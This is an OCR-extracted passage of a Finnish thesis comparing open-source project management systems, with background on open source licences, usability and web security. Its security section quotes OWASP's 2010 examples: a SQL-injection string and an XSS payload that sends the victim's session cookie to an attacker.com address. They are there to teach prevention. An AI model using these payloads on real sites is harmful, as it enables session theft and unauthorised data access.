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SANASTO JA KAYTETYT TERMIT

Apache
Apache HTTP Server on avoimen lahdekoodin HTTP-palvelinohjelma. Apache
on yleisin Internetissa kaytetty web-palvelin.

GNU
Richard Stallmanin vuonna 1983 kaynnistama projekti, jonka tavoitteena on
kehittaa taysin vapaa kayttojarjestelma.

MySQL
Suosituimpia SQL-tietokannan hallintajarjestelmia. Sita kaytetaan yleensa
web-palveluiden tietokantana.

Open Source
Avoin lahdekoodi. Ohjelmisto, jonka lahdekoodi on kaikille ndhtavissa ja muo-
kattavissa.

PHP
Suosittu palvelinohjelmointikieli, jota kaytetddn dynaamisten web-palveluiden
ja sivustojen luomiseen. PHP on lyhenne sanoista Hypertext Preprocessor.

RSS
RSS (Really Simple Syndication)on verkkosydtemuoto, jota kaytetddn usein
paivittyvan sivuston sisallon julkaisemiseen. Kayttaja voi ladata syotteen esim.

oman matkapuhelin lukijaohjelmaan.

Wiki
Wiki on vuorovaikutteinen tyokalu tai sivusto, jonka avulla kayttajat voivat lisa-

ta ja muokata sisaltdéa yksinkertaisesti. Kuuluisin wiki-sivusto on Wikipedia.



1 TYON LAHTOKOHDAT

1.1 Toimeksiantaja

Opinnaytetyon toimeksiantajana toimii Molentum Marketing Oy, joka on viralli-
sesti vuonna 2010 syntynyt digitaalisen median palveluihin keskittyva yritys.
Molentum Marketing syntyi jatkamaan vuonna 2003 perustetun Molentum
Oy:n toimintaa. Yhtion toimipiste sijaitsee Helsingin Lauttasaaressa. Lis&ksi

silla on myyntipiste Joensuun Niskakadulla.

Molentum Marketingin palveluita ovat paaasiassa avoimen lahdekoodin Dru-
pal- siséllénhallintajarjestelman yhteyteen toteutettavat verkkosivustot, verk-
kokaupat, intranetit ja uutiskirjejarjestelmat. Yrityksen paaasiallisinta kohde-
ryhmaa ovat pienet ja keskisuuret yritykset ympari Suomea. Yrityksessa tyos-
kentelee talla hetkella nelja tyéntekijaa ja asiakkaiden lukuméaara lahentelee

300 kappaletta.

1.2 TyOn taustat

Onnistunut projektinhallinta on tarkea tekija 2000-luvun yritysten menestyk-
sessd. Tyot ovat yha enenemissa maarin muuttuneet projektiluontoisiksi, joka
tarkoittaa luonnollisesti projektiosaajien seka projektityokalujen kysynnan kas-

vua.

Taman tyon aihe syntyi, kun Molentum Marketing huomasi itse tarvitsevan
projektinhallintajarjestelméaa. Tyon lahtékohtana on tutkia kolmea erilaista pro-
jektinhallintajarjestelméa. Vertailussa parhaiten menestynyt asennetaan ja
raataldidaan pitempiaikaiseen testikayttoon Molentum Marketingin sisdiseksi
projektinhallintajarjestelmaksi. Myohemmin on tavoitteena myds tuotteistaa

valittu jarjestelma ja myyda tata eteenpain.

1.3 TyoOn tavoitteet

Tavoitteena on tutkia ja l16ytaa projektinhallintajarjestelma, joka palvelisi ensi-
sijaisesti toimeksiantajan tarpeita. Tyota tehtdessa otetaan myds huomioon,
etta valitun tyokalun olisi hyva soveltua myo6s pk-yrityksille, joilla on tarvetta

projektinhallintatydkalulle. Tama tarkoittaa, etté valitun projektinhallintajarjes-



telman tulisi soveltua eri alojen yrityksiin seka uuden projektinhallintaympaéris-

ton perustaminen ja raatalointi olisi mahdollisimman tehokasta.



2 AVOIN LAHDEKOODI

2.1 Mita on avoin lahdekoodi?

Termi avoin lahdekoodi tulee englannin kielen termistd Open Source, joka
tarkoittaa ohjelmistoa, jonka lahdekoodi on vapaasti kaytettavissa kehittami-
seen, tutkimiseen ja muokkaamiseen omien tarpeiden mukaisesti. Lahdekoodi
on ohjelmien ja ohjelmistojen peruskivi, jonka tietokone "tulkkaa” kayttajalle
kaytettavaksi ohjelmaksi. Kaikki ohjelmat ovat riippuvaisia lahdekoodeistaan.
Kaupallisissa ohjelmissa lahdekoodi on yleensé salaista, jolloin kayttaja ei
paase muokkaamaan ohjelmaa tai korjailemaan ohjelman mahdollisia virheita
itse, vaan hanen on kaytettava ohjelman omistajan omia paivityksia.(Pronics
2004.)

Open Source -ohjelmat sekoitetaan yleensa freeware eli vapaisiin ohjelmiin,
koska molemmat ohjelmatyypit ovat kayttajalle ilmaisia. Ero avoimen lahde-
koodin ja vapaan ohjelman vélilla on lahdekoodin avoimuus. Vapaan lahde-
koodin ohjelmat ovat suljettua Iahdekoodia. Liséksi vapaa ohjelma voi olla il-
mainen vain tietyn ajanjakson, jonka jalkeen kayttajan on ostettava lisenssi tai

ohjelma lakkaa toimimasta. (Golden 2005, 6-7.)

Méaéaritelma

Pelkastaan paasy ohjelman lahdekoodiin ei viela tee ohjelmasta avoimen lah-
dekoodin edustajaa. Avoimen lahdekoodin sovelluksien on taytettava Open
Source Initiave (OSI) -jarjeston maaritteleméat seuraavat vaatimukset (OSI
2011):

1. Kenelld tahansa on vapaa levitysoikeus avoimen lahdekoodin ohjelmiin

2. Ohjelman lahdekoodin on kuuluttava ohjelmistoon ja ohjelman levitys

tulee sallia lahdekoodina ja kdannetyssd muodossa.

3. Muutoksien tekeminen ja johdannaisten luominen on oltava sallittua.

Liséksi naita on saatava levittaa samoilla lisenssiehdoilla kuin alkupe-



raistéakin ohjelmaa.

4. Lisenssi voi rajoittaa muokattua lahdekoodin levittdmista ainoastaan,
jos lisenssi sallii korjaustiedostojen (patch) ja niiden lahdekoodin levi-
tyksen.

5. Lisenssi ei saa syrjia yksittaisia henkil6ita tai henkiloryhmia.

6. Avoimen lahdekoodin ohjelman kayttda ei saa rajoittaa tietylla toimialal-
la.

7. Ohjelman oikeuksien on sovelluttava kaikille, joille ohjelma on levitetty

ilman uuden lisenssin hankkimista.

8. Avoimen lahdekoodin lisenssi ei saa olla riippuvainen muista ohjelma-

kokonaisuuksista.

9. Lisenssi ei saa rajoittaa tai asettaa ehtoja muille avoimen lahdekoodin

ohjelmille.

10.Lisenssin on oltava teknologisesti riippumaton.

Avoin lahdekoodi on saavuttanut vankan jalansijan seka IT-alan ammattilais-
ten maailmassa etta tavallisten kayttdjien kotikoneissa. Moniin maksullisiin ja
suljetun lahdekoodin ohjelmiin on kehitetty myds oma avoimen lahdekoodin
vastaava ohjelma. Suosituin ja ehké tunnetuin avoimen lahdekoodin tuotteista
on Microsoft Windowsin kilpailija Linux-kayttojarjestelmé seka Microsoft Offi-
cea vastaava OpenOffice-toimisto-ohjelmisto. Muita suosittuja avoimen lahde-
koodin ohjelmia on mm. Mozilla tuoteperheen Firefox-selain seka Thunder-
bird- séhkdpostiohjelma, FTP-ohjelma FileZilla, 7-Zip pakkaustytkalu, GIMP-
kuvankasittelyohjelma sek& VLC-mediasoitin. Lisaksi useat Internet-tekniikat
ovat avointa lahdekoodia, mm. palvelinohjelmisto Apache, MySQL-tietokanta,
Magento-verkkokauppa sek& WordPress-sisallonhallintajarjestelma. (Partanen
& von Willebrand 2009; Walker 2010.)



2.2 Hyddyt ja haitat

Avoimen lahdekoodin merkittdvin etu on sen saatavuus ja oikeus muokata
ohjelmaa rajattomasti. Koska kaikki avoimen lahdekoodin ohjelmat ovat ilmai-
sia, ei kuluttajan tarvitse kayttaa suuria rahasummia kalliisiin lisensseihin, joita
yleensa joutuu uusimaan aina kun ohjelmistosta julkaistaan uusi versio. Use-
asti avoimen lahdekoodin ohjelman takana on suuri joukko ohjelmaoijia, jotka
reagoivat nopeammin ja joustavammin tietoturva-aukkoihin ja ohjelmointivir-
heisiin. Kaupalliset ohjelmistotalot eivat voi mitenkaan korjata omien ohjelmi-
ensa ongelmia yhta tehokkaasti. Kuka tahansa voi kehittaa avoimen lahde-
koodin ohjelmaa eteenpain ja luoda sille lisda ominaisuuksia seka julkaista
ohjelmasta uusia versioita. Kehittdminen on siis jatkuvaa ja vuorovaikutteista.
Kukaan yksittainen taho tai henkil® ei voi omistaa avointa lahdekoodia tai
maarata ohjelman kehityssuuntaa. Tama mahdollistaa sen, etta ohjelman ke-
hitysty0 voi jatkua, vaikka alkuperainen kehittgjayhteiso lakkaisikin olemasta.
(Pronics 2004.)

Yhteiséllisyys on avoimen lahdekoodin tarkein voimavara, mika ylipdansa
mahdollistaa avoimen lahdekoodin ohjelmat. Kaikki avoimen |ahdekoodin yh-
teisbn jasenet tekevat vapaaehtoisesti kehitystyotd mieleisensad Open Source
-ohjelmistonsa parissa. Painvastoin kuin voisi kuvitella, avoimen lahdekoodin
kehittajat ovat yleensa erittain motivoituneita tydssakayvia IT-alan ammattilai-
sia. Mik& sitten ajaa kehittgjia tekemaéan raakaa ohjelmointity6té ilmaiseksi?
Monet ohjelmoijat haluavat kehittaa taitojaan ja toteuttaa itsedan. He vertaa-
vatkin itseaan muusikoihin ja runoilijoihin, joille avoimen lahdekoodin tuottami-
nen on intohimo. (Golden 2005, 18-24.)

Avoimessa lahdekoodissa ja suuressa kehittdjayhteiséssa on myoés omat
huonot puolensa. Suuressa kehittdjajoukossa voi olla kokemattomiakin ohjel-
moijia, joiden tuottama lahdekoodi ei ole laadultaan riittavaa. Liséksi yhteis66n
voi helposti katkeytya myos susia lampaitten vaatteissa, jotka voivat piilottaa
ohjelmakoodiin tietoturva-aukkoja tai kayttajalle vaarallisia vakoiluohjelmia.
(Mts. 18-24)



Ostaessa kaupallisen ohjelman on kayttajalla yleensa parempi takuu siita, etta
ohjelman kehitys jatkuu. Avoimen lahdekoodin projektit voivat ajautua umpiku-
jaan erinaisista syista ja virheet jaavat korjaamatta, ellei kayttaja korjaa niita
itse. Kaupallisen ohjelman ostaminen takaa myds hopeamman ja varmemman
asiakastuen. Avoimen lahdekoodin ilmaiset tukipalvelut rajoittuvatkin yleensa
pelkastaan erindaisiin foorumeihin. (Bloch n.d.)

2.3 Lisenssit

2.3.1 Yleista lisensseista

Ohjelmistolisenssi tarkoittaa yksinkertaistettuna ohjelman kéayttélupaa ja ehto-
ja. Oikeudellisesti voidaan ajatella, etta lisenssi on erédéanlainen sopimus oh-
jelmiston oikeuksien haltijan seka ohjelman kayttajan valilla. (Partanen & von
Willebrand 2009.)

Kaupallisten ohjelmien lisensseja yhdistaa yksi merkittdva asia. Ohjelman oi-
keudet ovat suurten ohjelmistoyritysten hallinnassa. Yritykset myyvat oman
ohjelmansa kayttdoikeutta eteenpain. Kaupalliset lisenssit sisaltavat usein
my0s ohjelmiston kayttoa rajoittavia tekijoita esim. lisenssin eteenpain luovut-
tamista koskevat rajoitukset ovat usein tiukat. (Golden 2005, 42.)

Toisin kuin suljetut lisenssit avoimen lahdekoodin lisenssit kannustavat kaytta-
jid jakamaan ohjelmaa eteenpain. Vaikka lisenssi mahdollistaa lahdekoodin
vapaan kayton, ei kaappaus kaupallisen lisenssin alle ole laillisesti mahdollis-
ta. (Mts. 42.)

2.3.2 GNU GPL & GNU LGPL

GNU General Public License eli lyhennettyna GPL on Free Software Foun-
dationin julkaisema avoimen lahdekoodin ns. pysyva lisenssi. Se antaa kaikille
oikeuden kayttda, muuttaa, kopioida ja jakaa ohjelmia ja niiden lahdekoodia.
GPL-lisenssin alaista ohjelmaa seka kaikki sen muunnelmat taytyy levittaa
kyseisella lisenssilla, lahdekoodin taytyy olla avointa eika ohjelman kayttami-
seen tai levitykseen saa antaa lisarajoituksia. Liséksi tiedostoihin on merkitta-
va mitd, milloin ja kuka muutoksen on tehnyt. GPL-l&hdekoodia ei saa levittda

oman omistuksen nimissa, mutta lisenssi ei esta koodin kaupallista kayttoa.
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Ohjelmaa tai sen muunnelmia sek&a mahdollisia tukipalveluita voi myyda
eteenpain, kunhan noudattaa lisenssin asettamia ehtoja. GPL-ohjelmia voi
myo0s raataléida ja teettda rahasta ja jos ohjelmaa ei haluta levittaa eteenpain,
ei lahdekoodiakaan tarvitse julkaista. GPL-ohjelmat on oltava patenttivapaita.

GNU GPL on selkeasti suosituin avoimen l&hdekoodin lisenssi. (GNU 2007.)

GNU Lesser General Public License joka tunnetaan myos nimella Library
General Public License, on tarkoitettu paaasiassa ohjelmakirjastoja varten.
Suurin ero LGPL- ja GPL-lisenssien vdlilla on se, ettd LGPL-ohjelman voi yh-
distda ei-GPL-lisensoituun ohjelmaan. Tama tarkoittaa sita, ettd LGPL-
lisensoitu teos voidaan haluttaessa lisensoida jonkin muun lisenssin alaisuu-
teen. (GNU 2007.)

2.3.3 Muut lisenssit

Muita yleisia avoimen lahdekoodin lisensseja ovat mm. Artistic License, BSD
License, Apache License, MIT License seka Mozilla Public License.

Artistic License

Larry Wallin kehittdma Artistic License suunniteltiin suojelemaan suosittua
PERL-ohjelmointikielta. Artistic License on melko salliva lisenssi. Paaasialli-
nen ero esim. GPL-lisenssiin on, ettd lahdetiedostoihin on merkattava miten ja
milloin tiedostoa on muokattu. Lisaksi muut kuin alkuperaistiedostot on nimet-
tava poikkeavasti, jotteivat ne sotkeutuisi alkuperaisohjelmistoon. (Meeker
2008, 46.)

BSD Lisence

BSD (Berkeley Software Distribution) on kaytetyin salliva lisenssi. Kayttajalla
on ohjelmaan melkeinpa kaikki oikeudet. Lisenssi mahdollistaa ohjelman kayt-
tamisen seka koodin muokkaamisen kaytdnnéssa missa, miten ja milloin ta-
hansa, kunhan lisenssin teksti ja alkuperaiset tekijanoikeustiedot sailytetdan
lahdekoodin alussa. Lisenssi kieltda ainoastaan, etta tekijan nimelld ei saa
markkinoida ohjelmistoa. Se ei mydskaan vaadi lahdekoodin julkaisemista.
BSD-lisenssia voidaankin pitdéd enemman vapaana kayttélupana kuin ohjel-
mistolisenssind. (Meeker 2008, 43-45.)
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MIT License

MIT-lisenssi on kehitetty Massachusetts Insitute of Technologyssa Yhdysval-
loissa. MIT on BSD-lisenssin tavoin yksi vapaimmista lisensseista. BSD ja MIT
ovatkin lisensseina lahes identtiset. Ainoana suurena eroavaisuutena voidaan
pitaa sita, ettéa MIT ei kiella tekijan nimella markkinointia, toisin kuin BSD-
lisenssi. (Meeker 2008, 45-46.)

Apache License

Apache License on The Apache Software Foundationin kirjoittama salliva li-
senssi. Apache-lisenssin alaiset johdannaiset ja muunnelmat eivat saa kayttaa
alkuperaisen tuotteen tekijanoikeuksia. Muutokset ja niiden lisensointi on mer-
kattava erilliseen NOTICE-tekstitiedostoon. (The Apache Software Foundation
2011))

Mozilla Public License

Mozilla Public License (MPL) kehitettiin Mozilla-projekteja ajatellen. MPL on
lisenssina samantyylinen kuin GPL. MPL-lisenssi velvoittaa levittdmaan oh-
jelmistot MPL-lisenssin alaisuudessa, mutta MPL-ohjelmistoihin voidaan liittaa
osia muun lisenssin alaisista ohjelmista. MPL vaatii, ettd muunnelmat ja joh-
dannaiset tulee lisensoida samalla lisenssilla ja lisenssin kuvaus on oltava

litettyn& johdannaisiin. (Mozilla 2010.)

Avoimen lahdekoodien lisenssien kaytto ja yleisyys on kuvattu kuviossa 1.
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KUVIO 1. Avoimen lahdekoodien lisenssien yleisyys (Asay 2009)
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3 VAATIMUKSET PROJEKTINHALLINTAJARJESTEL-
MALLE

3.1 Yleista projektinhallinasta

Ruuskan (2007, 18) mukaan projektin maaritelma on lyhyesti: joukko ihmisia
sekd muita resursseja yhdistetaan suorittamaan jotain tiettya tehtavaa tai ta-

voitetta, tietyn aikataulun ja budjetin mukaan.

Projekteilla on yleensa yksi tai useampi selkea tavoite. Projektin elinkaari ei
ole ikuinen, vaan se paattyy normaalisti silloin, kun tavoitteet on saavutettu.
Projektin tavoite voi olla jokin konkreettinen tuote esim. rakennus, perhepai-
vahoitojarjestelma ja tietokonesovellus tai se voi olla myds abstrakti lopputulos
esim. ratkaisu tiettyyn ongelmaan. Projekti toteutetaan suurimmilta osin ryh-
missé. Ryhmien jasenet voivat olla eri alan osaajia, eri organisaatioista, yrityk-
sista tai isoissa globaaleissa projekteissa eri kansallisuuksista. Projekti raja-
taan loogisesti omaksi itsenaiseksi kokonaisuudekseen. Projektit kokevat mo-
nia muutoksia elinkaarensa aikana, jotka muovaavat projektia enemman tai
vahemman. Muutokset vaikuttavat projektin eri vaiheisiin ja edellisiin tuloksiin.
Tasta syysta on projektia ja sen etenemista kyettava seuramaan, jotta muu-

toksiin pystytaan reagoimaan. (Ruuska 2007, 19-20.)

Projektin onnistumisen kannalta on erittéin tarkeda sen valvonta. Projekteihin
on yleensa suunniteltu kaytettavaksi jokin tietty maara resursseja. Luonnolli-
sesti projektin maksaja haluaa ndhda, mihin maksettuja resursseja kaytetaan
ja mita projektissa tapahtuu. Projektinhallinta voidaan jakaa toteutus- ja ohja-
usprosessiin. Toteutusprosessilla tarkoitetaan kaikkea sitéa toimintaa tai tyota,
joka tahtaa projektin lopputuloksen aikaansaamiseen. Ohjausprosessi ohjailee
toteutusta, jotta projektin lopputuloksen saavuttaminen olisi tehokkaampaa ja
laadukkaampaa. Ohjausprosessin peruselementit pysyvat yleensad samoina
projektista toiseen. Toteutusprosessi vaihtelee projektin aihealueen mukaan.
Esimerkiksi ohjelmisto- ja rakennusalan projekteihin tarvitaan taysin erityylisia
toteuttajia ja toteutuksia. (Mts. 29-31.)
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3.2 Ominaisuudet

Dynaamiset web-pohjaiset projektinhallintajarjestelmat helpottavat projekti-
ryhman yhteisty6ta ja tehtavien seké resurssien hallintaa. Hyva ja tehokas
projektinhallintajarjestelmé edesauttaa monimutkaisempienkin projektien ete-
nemisen sujuvuutta. Tydkalun sijaitessa verkossa voivat projektin jasenet
kayttaa projektinhallintatytkalua milloin ja missa tahansa. Ainoa, mita tarvi-
taan, on paatelaite ja yhteys Internetiin. Projektinhallintajarjestelman tarkeim-
pia tehtavia on selkeyttaa projektiryhmalle heidan toimensa ja tehtavansa pro-
jektissa. Tehtavien jako, aikatauluttaminen seka projektin ja siihen kaytettyjen
resurssien seuranta ovat tarkeimpia toimintoja projektinhallintajarjestelmalle.
(TopTenRewiews 2011.)

Kollaboraatio

Informaation ja tehtavien jakaminen pitaisi olla projektiryhmalla helppoa ja ket-
terdd. Asiakkaiden ja projektiryhman tulisi pystya helposti katsastamaan pro-
jektin tilanne ja aikataulu esim. aikajanojen, raporttien ja kalentereiden avulla.
Tarkeimpia kommunikointivaylia ovat mm. sahkdpostit, keskustelupalstat, si-

saiset wikit ja erilaiset chatit. (TopTenRewiews 2011).

Resurssienhallinta

Resurssienhallinnalla tarkoitetaan projektin kayttoon rajattujen resurssien, ku-
ten ihmisten, ajan, rahan seka materiaalin, seuraamista ja kontrollointia. Kay-
tettyihin ja kayttamattomiin resursseihin tulisi pystya myos sisallyttdmaan

mahdollisimman paljon lisdinformaatiota. (TopTenRewiews 2011.)

Projektinhallinta

Projektinhallinnan tytkalujen avulla hallitaan ja seurataan koko projektia. Tar-
keimpia tyokaluja ovat tehtavien seka tavoitteiden hallinta, aikataulut, kalente-
rit, tapahtumien hallinta, dokumenttien hallinta ja erilaiset kaaviot. Tehtaviin
tulisi pystya maarittdmaan tavoitteet, kuka tekee, milla resursseilla ja mihin
mennessa (deadline). Tavoitteisiin voidaan sisallyttdd useita tehtavia ja niiden
onkin tarkoitus edesauttaa projektin seuraamista pitkalla aikavalilla. (TopTen-
Rewiews 2011.)
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Tuki
Tyobkalussa itsessaan tulisi olla selked ohje-osio, johon kayttgja voi tarvittaes-
sa tukeutua. Lisaksi kattavampi dokumentaatio tulisi olla kaytettavissa esim.

ohjelman verkkosivuilla. (TopTenRewiews 2011.)

3.3 Kaytettavyys

Kaytettavyydella tarkoitetaan menetelmaéa/teoriaa, jonka avulla kayttajan ja
kaytettavan laitteen yhteistyod pyritédn saamaan tehokkaammaksi seka kaytta-
jalle miellyttivammaksi. Kaytettavyys on riippuvainen myos kayttotilanteesta.
Tunnetun kaytettavyystutkija Nielsenin mukaan hyvan kaytettavyyden tar-
keimpia elementteja ovat opittavuus, muistettavuus, virheettomyys, tehokkuus
ja miellyttavyys. (Sinkkonen 2004; Sinkkonen, Kuoppala, Parkkinen, Vasta-
maki 2006, 4-10.)

Opittavuudella tarkoitetaan kayttajan helppoutta kayttaa tuotetta ensimmaisel-
l& kayttokerralla. Tehokkuudella tarkoitetaan sité, kuinka nopeasti kayttaja ky-
kenee tekeméan tehtavia opittuaan kaytettavan tuotteen. Muistettavuus tar-
koittaa sita, kuinka helppo kayttajan on kayttaa tuotetta oltuaan kayttamatta
sita jonkin aikaa. Virheettémyydella tarkoitetaan sita, kuinka paljon kayttajat
tekevét virheita, miten nopeasti ne ovat korjattavissa ja kuinka vakavia virheita
kayttajan on mahdollista tehda. Miellyttavyys tarkoittaa sitd, kuinka miellytta-
vaa tuotetta on kayttaa. Hyodyllisyys tarkoittaa sita, kuinka hyvin tuote sopii

siihen tydhon mihin se on alun perin tarkoitettu. (Sinkkonen 2004.)

Edella mainittujen peruselementtien lisaksi kaytettavyyteen liitettavia ominai-
suuksia ovat johdonmukaisuus, hallittavuus, tehtaviin sopiva esitystapa, va-
hainen muistettavien asioiden maara, joustavuus, palvelevuus, houkuttele-
vuus, helppokayttbisyys, esteettbmyys seka kayttaja- ja kayttokokemukset.
(Sinkkonen 2004.)

Intranetin, johon projektinhallintajarjestelmatkin voidaan laskea, kayttoliittyman
suunnittelussa tulee huomioida eri asioita kuin normaalin informatiivisen web-
sivuston suunnittelussa. Intranetin kayttoliittyman tulisi noudattaa normaalin

web-sivuston ja yleisen kaytettavyyden, perusperiaatteita, muistaen kuitenkin,
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ettd intranet on paasaantoisesti omien tyontekijoiden tyokalu. Tarkeimmaét
kaytettavyyden elementit intranetin kayttoliittymassa ovat tehokkuus, muistet-
tavuus ja virheettomyys. Lyhyesti tiivistettynd hyva projektinhallintatytkalu on
sellainen, jolla tarvittavat tehtavat hoituvat mahdollisimman nopeasti ja vaivat-
tomasti. Tarkein yksittainen tekija tehokkaan kayttoliittymén saavuttamiseksi
on panostaminen selkedén ja helppokayttdiseen navigaatioon seka kayttajan
informoimiseen. Kayttajan on oltava koko ajan selvilla siitd, missa sovelluksen
osiossa han on ja miten han pystyy suorittamaan haluttuja toimintoja mahdol-

lisimman pienella vaivannadlla. (Nielsen 2000, 262-293.)

3.4 Tietoturva

Moniin webpalveluihin on kohdistunut ja kohdistuu edelleen tietoturvahyokké-
yksia. Tallaisia ovat mm. salasanavarkaudet, vaaran datan syéttaminen palve-
luun ja koko palvelun kaataminen. Yleisimmat tietoturvapuutteet [oytyvat tieto-
kantasyotteiden kasittelyssé (SQL injektio), xss-aukoissa (cross-site scripting)
seka salasanojen hallinnassa. Taulukossa 1 on listattu The Open Web Appli-
cation Security (OWASP) tekeman web-sovellusten tietoturvaselvityksen kol-
me yleisinta tietoturvauhkaa. Kattavampi listaus |oytyy liittessa 1. OWASP on

kansainvalinen tietoturvaan keskittynyt vapaaehtoisjarjestd. (OWASP 2010.)

TAULUKKO 1. Tietoturvariskien top 3 (OWASP 2010.)

Hyok- Aukko- | Aukkojen Hyokkayk-
kaamisen |[jen ylei- | havaitta- sen vaiku-
helppous | syys vuus tus
SQL-injektio Helppo Yleinen Keskitaso Vakava
Cross-Site-Scripting | Keskitaso | Erittain Helppo Kohtalainen
yleinen
Puutteellinen tunnis- | Keskitaso | Yleinen Keskitaso Vakava
tusmenettely jais-
tunnonhallinta

SQL-injektio

SQL-injektio tarkoittaa hyokkaysta, jossa hakkeri lahettda syotteen avulla ei-
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toivottuja komentoja sovelluksen tietokantaan (ks. kuvio 2). Seuraukset voivat
olla erittdin vakavat. Hyokkaaja voi pahimmissa tapauksissa saada haltuunsa
salattua tietoa, tuhota dataa, estaa kayttgjilta paasyn verkkopalveluun tai ottaa

jopa kokonaisen verkkopalvelun haltuunsa. (OWASP 2010.)

Helpoin tapa estaa SQL injektio on kayttaa turvallisia ja luotettavia API-
rajapintoja, jotka voivat parhaimmissa tapauksissa estaa kokonaan mahdolli-
suuden hyokata tietokantaan. Jos sopivaa APla ei ole kaytettavissa, on kasin
tarkistettava syotteet ja evatd mahdollisuus haitallisten SQL-kyselyiden p&a-
syn tietokantaan. (OWASP 2010.)

ESIMERKKI HAAVOITTUVASTA SQL-KYSELYSTA

String gquery = "SELECT * FROM accounts WHERE
custID="" + reqguest.getParameter("id") +"'";
HYOKKAAJA KAYTTAA “ID" PARAMETRIA SELAIMESSAAN LAHETTAMALLA
URLIN MUKANAOR "1'="1"
http://example.com/app/accountView?id=' or '1'='1

HYOKKAAJALLE TULOSTETAAN KAIKKIEN KAYTTAJIEN DATA, OMIEN KAYTTAJATI-
ETOJEN SIJASTA

KUVIO 2. Esimerkki SQL-injektiosta (OWASP 2010.)

Cross-Site-Scripting (XSS)

Cross-Site-Scriptingia yleisemmin XSS-hydkkayksena tunnettu ilmenee kun
web-sivustolle saadaan syodtettya haitallista ohjelmakoodia (ks. kuvio 3).
Hyodkkaykset voivat esim. muuttaa sivuston ulkoasua, varastaa kayttgjan is-
tuntotunnisteet tai ohjata kayttajan haitallisille sivustoille. XSS-hydkkaykset

ovat melko yleisia ja laajalle levinneita ongelmia.

XSS-hyokkayksien estaminen on melko helppoa. Lahtokohtana on tarkistaa
kayttajan antamat syotteet ja poistaa haitallinen koodiosa syotteesta, ennen

sen paasemista muuttujiin ja parametreihin.
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OHJELMAKOODI, JOKA EI TARKISTA SYOTETTYJA ARVOJA.
(String) page += "<input name='creditcard' type='TEXT"®
value='" + request.getParameter("CC") + "'>";
HYOKKAAJA MUOKKAA “CC" PARAMETRIA.

'><script>document.location=
‘http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>’

TAMA AIHEUTTAA, ETTA UHRIN ISTUNNON ID LAHETETAAN
HYOKKAAJAN VERKKOSIVULLE.

KUVIO 3. Cross-Site-Scripting esimerkki (OWASP 2010.)

Puutteellinen tunnistusmenettely ja istunnonhallinta

Jos kayttgjatietoja ja istunnon tunnisteita ei ole suojattu riittdvan hyvin, kayttaa
hyokkaaja tietovuotoa varastaakseen kayttajan kirjautumistietoja tai istuntotie-
toja. Kaytannossa hyotkkaaja siis varastaa kayttajan identiteetin sovellukses-

sa.

Edella mainitun tietoturvariskin estamiseksi tulee huolehtia riittdvan vahvojen
salasanojen ja istuntotunnisteiden kaytosta. Liséksi tarkeda on ottaa huomi-
oon automaattiset uloskirjautumiset, istuntotunnusten kayttd URLeissa, istun-
totunnusten kierrattaminen ja salasanojen muuntaminen turvallisempiin muo-
toihin. (OWASP 2010.)
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4 PROJEKTINHALLINTAJARJESTELMIEN VERTAILU

4.1 Selvityksen lahtokohta

Selvitykseen valittiin kolme avoimen lahdekoodin projektinhallintajarjestelmaa.
Toimeksiantajan rajauksen mukaan kaikki selvitykseen valitut jarjestelmat ovat
toteutettu PHP-palvelinohjelmointikielella ja toimivat MySQL-tietokannassa
sekad Apache http-palvelimella. Selvitykseen valittiin kolme eri jarjestelmaa:
Collabtive, ProjectPier sekd Drupalin yhteydessa toimiva Atrium. Jarjestelmaét

esitelldan tarkemmin luvussa 4.3.

Projektinhallintajarjestelmien vertailu ja tutkiminen jaettiin kolmeen alla luetel-

tuun osioon.

Yleiset ominaisuudet

Mita vaatimuksia jarjestelmalla on? Miten jarjestelma asennetaan? Mita toi-
menpiteitd asentamiseen sisaltyy? Kuinka kattava dokumentaatio ja ohjeistus
jarjestelmalla on? LOytyyko jarjestelma myds suomenkielisend? Kuinka katta-
vasti kayttajia seka kayttajien oikeuksia ja rooleja voi muokata?

Projektinhallinta

Kuinka hyvin ja kattavasti tehtavia hallitaan? Mita tydkaluja on resurssien seu-
raamiseen ja hallinnointiin? Miten hyvin projektin kokonaiskuvaa pystyy seu-
raamaan? Mita raportointitydkaluja jarjestelmalla on? Millaisen dokumenttien
hallinnan tai projektin sisdisen wikin jarjestelma tarjoaa? Millaisia aikataulu-
tyokaluja (esim. kalenterit) jarjestelmalla on? Miten hyvat kollaboraatiotydkalut

jarjestelmalla on?

Kaytettavyys
Kuinka kayttajaystavallinen jarjestelméd on? Kuinka nopeasti jarjestelma toi-
mii? Loytyyko kayttajalle tukea kayton yhteydessa?

4.2 Vertailukehikko

Selvityksessa mukana olevia projektinhallintajarjestelmia vertailtiin keskenaan
vertailukehikon (ks. liite 2) avulla. Pisteita jaettiin kolmessa eri kategoriassa:

yleiset ominaisuudet, projektinhallinta ja kaytettavyys. Pisteet jaettiin asteikolla
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0-5. Nolla pistetta tarkoitti vertailtavan toiminnon puuttumista kokonaan ja tay-
det viisi pistettd moitteetonta toimintaa. Jokainen pisteytetty ominaisuus ker-
rottiin myds omalla painokertoimellaan. Mitd suurempi painokerroin sita tarke-

ampi ominaisuus ja painvastoin.

4.3 Vertailtavat projektinhallintajarjestelmat

4.3.1 Collabtive

Collabtive on saksalaislahtdinen pienille ja keskisuurille projektiryhmille suun-
nattu web-pohjainen projektinhallintaohjelma. GPL-lisenssin alla oleva Collab-
tive sai alkunsa marraskussa 2007 ja se toimii vapaaehtoisvoimin. Viimeisin

versio Collabtivesta (0.6.5) julkaistiin elokuussa 2010. (Collabtive n.d.)

4.3.2 ProjectPier

ProjectPier on vapaa ja ilmainen, GNU Affero General Public Licensen
(AGPL) alaisuudessa oleva projektinhallintajarjestelma. AGPL on muutamaa
pientd muutosta lukuun ottamatta samanlainen GPL- lisenssin kanssa. Pro-
jectPierin tarkoituksena on olla yksinkertainen, tehokas ja joustava projektin-
hallintaty6kalu mahdollisimman monenlaisille organisaatioille. Tuorein versio

0.8.7-alpha julkaistiin helmikuussa 2011. (ProjectPier n.d.)

4.3.3 Open Atrium

Open Atrium on suositun avoimen lahdekoodin sisallénhallintajarjestelma
Drupalin paalla toimiva tiimin kommunikointiin erikoistunut intranet-jarjestelma.
Open Atriumin kehitys ja toiminta on siis vahvasti riippuvainen Drupalin toi-
minnasta. Open Atrium toimii pddasiassa GPL-lisenssin alaisuudessa, mutta
muutama osio kuten teemat on lisensoitu BSD-lisenssilla. Uusin versio 1.0-

betal0 julkaistiin maaliskuussa 2011. (Open Atrium n.d.)
4.4 Vertailutulokset

4.4.1 Yleiset ominaisuudet

Yleisissd ominaisuuksissa tarkasteltiin jarjestelmén asennuksen nopeutta ja
